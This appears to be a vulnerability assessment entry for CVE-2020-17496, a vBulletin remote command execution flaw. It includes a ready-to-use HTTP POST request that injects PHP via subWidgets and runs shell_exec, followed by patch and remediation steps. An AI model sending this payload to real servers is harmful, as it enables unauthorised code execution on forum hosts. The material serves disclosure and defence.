CVE-2020-17496

vBulletin 5.5.4 through 5.6.2 allows remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.

Recent assessments:

zeroSteiner at September 02, 2020 1:23pm UTC reported:

A vulnerability exists in vBulletin that can allow the protections originally put in place to address CVE-2019-16759 to be bypassed. The vulnerability exists in how the patch handles child templates that are rendered by the widget_php template. A detailed write up which analyzes the patch and describes the issue regarding the child templates was posted to blog.exploitee.rs by the original author who discovered the vulnerability.

Successful exploitation involves an HTTP POST request and yields code execution in the context of the web application user. Due to the nature of templates, the result of the evaluation is included in the rendered output, allowing attackers to retrieve the output of their commands which makes the vulnerability more useful.

POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: 192.168.250.5
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 168

subWidgets%5b0%5d%5btemplate%5d=widget_php&subWidgets%5b0%5d%5bconfig%5d%5bcode%5d=echo%20shell_exec%28base64_decode%28%27ZWNobyBra3hmenJLeQ%3d%3d%27%29%29%3b%20exit%3b

This vulnerability was fixed in vBulletin version 5.6.3, with patches released for versions 5.6.0, 5.6.1 and 5.6.2.

To temporarily remediate the vulnerability, delete the “widget_php” module by following these steps:

1. Put the site into debug mode.

2. Log into the AdminCP.

3. Go to Styles > Style Manager.

4. Open the template list for the MASTER style.

5. Scroll to the bottom where it says Module Templates.

6. Highlight the widget_php module.

7. Click the Revert Button.

Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 5